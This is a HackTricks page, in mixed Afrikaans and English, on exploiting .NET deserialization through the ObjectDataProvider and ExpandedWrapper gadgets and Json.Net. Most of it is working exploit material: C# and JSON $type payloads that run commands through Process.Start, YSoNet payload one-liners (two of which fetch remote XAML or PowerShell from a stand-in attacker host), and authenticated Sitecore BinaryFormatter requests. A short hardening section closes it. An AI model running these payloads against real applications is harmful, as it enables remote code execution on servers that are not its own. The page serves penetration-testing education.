Basiese .Net deserialisering (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Reading time: 10 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

This post is dedicated to understand how the gadget ObjectDataProvider is exploited to obtain RCE and how the Serialization libraries Json.Net and xmlSerializer can be abused with that gadget.

ObjectDataProvider Gadget

From the documentation: the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source.
Ja, dit is 'n vreemde verduideliking, so kom ons kyk wat het hierdie klas wat so interessant is: Hierdie klas laat toe om 'n arbitrêre object te wrap, gebruik MethodParameters om arbitrêre parameters te stel, en dan MethodName te gebruik om 'n arbitrêre funksie aan te roep van die arbitrêre object wat gedefinieer is met die arbitrêre parameters.
Daarom sal die arbitrêre object 'n funksie met parameters uitvoer terwyl dit gedeserialiseer word.

Hoe is dit moontlik

Die System.Windows.Data namespace, gevind binne die PresentationFramework.dll by C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, is waar die ObjectDataProvider gedefinieer en geïmplementeer is.

Deur dnSpy te gebruik kan jy die kode inspekteer van die klas waarin ons belangstel. In die beeld hieronder sien ons die kode van PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name

Soos jy kan opmerk, wanneer MethodName gestel word, word base.Refresh() aangeroep, kom ons kyk wat dit doen:

Ok, kom ons gaan voort en kyk wat this.BeginQuery() doen. BeginQuery word deur ObjectDataProvider oorskryf en dit is wat dit doen:

Let wel dat aan die einde van die kode dit this.QueryWorke(null) aanroep. Kom ons kyk wat dit uitvoer:

Let wel dat dit nie die volledige kode van die funksie QueryWorker is nie, maar dit wys die interessante deel daarvan: Die kode roep this.InvokeMethodOnInstance(out ex); aan; dit is die lyn waar die gestelde metode aangeroep word.

As jy wil kontroleer dat slegs deur die MethodName te stel dit uitgevoer sal word, kan jy hierdie kode uitvoer:

java
using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Let wel dat jy as verwysing C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll moet byvoeg om System.Windows.Data te laai

ExpandedWrapper

Deur die vorige exploit sal daar gevalle wees waar die object as 'n ObjectDataProvider instansie gedeserialiseer word (byvoorbeeld in die DotNetNuke vuln, met XmlSerializer is die object gedeserialiseer deur GetType). In so 'n geval sal daar geen kennis wees van die objektipe wat in die ObjectDataProvider instansie ingepak is (bv. Process). Jy kan meer inligting oor die DotNetNuke vuln hier vind.

Hierdie klas maak dit moontlik om die objektipe van die objekte wat in 'n gegewe instansie ingekapsuleer is, te spesifiseer. Dus kan hierdie klas gebruik word om 'n bronobject (ObjectDataProvider) te kapsuleer in 'n nuwe objektipe en die eienskappe wat ons nodig het te verskaf (ObjectDataProvider.MethodName en ObjectDataProvider.MethodParameters).
This is very useful for cases as the one presented before, because we will be able to wrap _ObjectDataProvider** inside an **ExpandedWrapper _ instance and when deserialized this class will create the OjectDataProvider object that will execute the function indicated in MethodName.

Jy kan hierdie wrapper met die volgende kode bekyk:

java
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

In the official web page word aangedui dat hierdie biblioteek toelaat om Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer. Dus, as ons die deserialize the ObjectDataProvider gadget kon uitvoer, kon ons net deur 'n object te deserialiseer 'n RCE veroorsaak.

Json.Net voorbeeld

Eerstens, kom ons kyk na 'n voorbeeld van hoe om 'n object met hierdie biblioteek te serialize/deserialize:

java
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Misbruik van Json.Net

Met behulp van ysoserial.net het ek die exploit geskep:

java
yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

In hierdie kode kan jy toets the exploit, voer dit net uit en jy sal sien dat 'n calc uitgevoer word:

java
using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}

Gevorderde .NET gadgetkettings (YSoNet & ysoserial.net)

Die ObjectDataProvider + ExpandedWrapper-tegniek wat hierbo bekendgestel is, is net een van BAIE gadgetkettings wat misbruik kan word wanneer 'n toepassing onveilige .NET-deserialisering uitvoer. Moderne red-team gereedskap soos YSoNet (en die ouer ysoserial.net) outomatiseer die skep van klaar-vir-gebruik kwaadwillige objekgrafieke vir dosyne gadgets en serialiseringsformate.

Hieronder is 'n samegeperste verwysing van die nuttigste kettings wat saam met YSoNet versend word, saam met 'n kort verduideliking van hoe hulle werk en voorbeeldopdragte om die payloads te genereer.

Gadget-kettingKernidee / PrimitiveAlgemene serializersYSoNet eenreël
TypeConfuseDelegateKorrupteer die DelegateSerializationHolder-rekord sodat, sodra dit gematerialiseer is, die delegate na enige deur die aanvaller voorsiene metode wys (bv. Process.Start)BinaryFormatter, SoapFormatter, NetDataContractSerializerysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin
ActivitySurrogateSelectorMisbruik System.Workflow.ComponentModel.ActivitySurrogateSelector om om .NET ≥4.8 tipe-filtrering te omseil en direk die constructor van 'n gegewe klas aan te roep of 'n C#-lêer onderweg te compileerBinaryFormatter, NetDataContractSerializer, LosFormatterysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat
DataSetOldBehaviourBenut die erfenis-XML-voorstelling van System.Data.DataSet om ewekansige tipes te instansieer deur die <ColumnMapping> / <DataType> velde te vul (opsioneel die assembly te vervals met --spoofedAssembly)LosFormatter, BinaryFormatter, XmlSerializerysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml
GetterCompilerResultsOp WPF-ondersteunde runtimes (> .NET 5) ketting dit eienskaps-getters totdat dit by System.CodeDom.Compiler.CompilerResults kom, en compileer of laai dan 'n DLL wat met -c voorsien isJson.NET typeless, MessagePack typelessysonet.exe GetterCompilerResults -c Loader.dll > payload.json
ObjectDataProvider (review)Gebruik WPF System.Windows.Data.ObjectDataProvider om 'n ewekansige statiese metode met beheerste argumente aan te roep. YSoNet voeg 'n handige --xamlurl variant by om die kwaadwillige XAML op afstand te huisvesBinaryFormatter, Json.NET, XAML, etc.ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml
PSObject (CVE-2017-8565)Insluit ScriptBlock in System.Management.Automation.PSObject wat uitgevoer word wanneer PowerShell die objek deserialiseerPowerShell remoting, BinaryFormatterysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin

tip

Alle payloads word standaard na stdout geskryf, wat dit eenvoudig maak om hulle in ander gereedskap te pipe (bv. ViewState-generators, base64-enkodeerders, HTTP-kliënte).

Bou / Installeer YSoNet

As daar geen vooraf-gekodeerde binaries beskikbaar is onder Actions ➜ Artifacts / Releases nie, sal die volgende PowerShell eenreël 'n build-omgewing opstel, die repository kloon en alles in Release-modus compileer:

powershell
Set-ExecutionPolicy Bypass -Scope Process -Force;
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;

git clone https://github.com/irsdl/ysonet
cd ysonet
nuget restore ysonet.sln
msbuild ysonet.sln -p:Configuration=Release

Die gekompileerde ysonet.exe kan dan gevind word onder ysonet/bin/Release/.

Detection & Hardening

  • Detecteer onverwante child processes van w3wp.exe, PowerShell.exe, of enige proses wat deur die gebruiker verskafde data deserialiseer (e.g. MessagePack, Json.NET).
  • Skakel en dwing type-filtering (TypeFilterLevel = Full, custom SurrogateSelector, SerializationBinder, etc.) in waar die verouderde BinaryFormatter / NetDataContractSerializer nie verwyder kan word nie.
  • Waar moontlik migreer na System.Text.Json of DataContractJsonSerializer met witlys-gebaseerde omskakelaars.
  • Blokkeer gevaarlike WPF assemblies (PresentationFramework, System.Workflow.*) sodat dit nie in webprosesse gelaai kan word wat dit nooit behoort te benodig nie.

Werklike sink: Sitecore convertToRuntimeHtml → BinaryFormatter

'n Praktiese .NET sink wat binne geauthentiseerde Sitecore XP Content Editor vloei bereik kan word:

  • Sink API: Sitecore.Convert.Base64ToObject(string) verpak new BinaryFormatter().Deserialize(...).
  • Trigger path: pipeline convertToRuntimeHtmlConvertWebControls, wat soek na 'n suster-element met id="{iframeId}_inner" en lees 'n value attribuut wat as base64-gekodeerde geseerialiseerde data behandel word. Die resultaat word ge-cast na string en in die HTML ingevoeg.

Minimale end‑to‑end (geauthentiseer):

// Load HTML into EditHtml session
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc"></iframe>
<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
</html>

// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
  • Gadget: enige BinaryFormatter-ketting wat 'n string teruggee (newe-effekte word tydens deserialisasie uitgevoer). Sien YSoNet/ysoserial.net om payloads te genereer.

Vir 'n volledige ketting wat pre‑auth begin met HTML cache poisoning in Sitecore en na hierdie sink lei:

Sitecore

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks